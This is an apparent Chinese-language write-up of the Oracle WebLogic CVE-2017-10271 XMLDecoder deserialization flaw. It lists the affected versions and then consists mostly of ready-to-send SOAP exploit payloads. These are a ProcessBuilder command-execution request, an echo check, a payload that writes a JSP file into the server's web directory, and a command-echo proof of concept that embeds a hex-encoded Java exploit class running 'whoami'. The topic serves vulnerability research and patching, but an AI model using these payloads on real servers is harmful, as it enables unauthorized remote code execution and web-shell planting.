Weblogic CVE-2017-10271

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概述

2017年10月17日Oracle推送更新补丁，修复其所发现的安全漏洞，其中CVE-2017-10271可能会导致攻击者获得Weblogic服务器权限，请尽快修复。

详情

漏洞位置

Oracle Weblogic Server WLS 安全组件

影响版本

Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.2.1.2
Oracle Weblogic Server 12.2.1.1
Oracle Weblogic Server 12.1.3.0

漏洞复现

修改Content-Type: text/xml，并向/wls-wsat/CoordinatorPortType发送POST数据包。

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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.7.0_79" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>/usr/bin/touch</string>
</void>
<void index="1">
<string>test1234567</string>
</void>
</array>
<void method="start" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
</soapenv:Body>
</soapenv:Envelope>

具体复现如下：

welbogic-nc

welbogic-server

数据包回显POC

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<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getWriter"><void method="write"><string>xmldecoder_vul_test</string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

写文件

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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mytest.jsp</string><void method="println"><string>1</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

命令回显POC

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<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="weblogic.utils.Hex" method="fromHexString" id="cls"><string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
                </void>
                <void class="org.mozilla.classfile.DefiningClassLoader">
                    <void method="defineClass">
                        <string>com.supeream.exploits.XmlExp</string>
                        <object idref="cls"></object>
                        <void method="newInstance">
                            <void method="say" id="proc">
                                <string>whoami</string>
                            </void>
                        </void>
                    </void>
                </void>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="writeStream">
                                    <object idref="proc"></object>
                                </void>
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string></string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

总结

发现POC早就是好几年前的了，主要是XMLDecoder组件没修，附：检测脚本。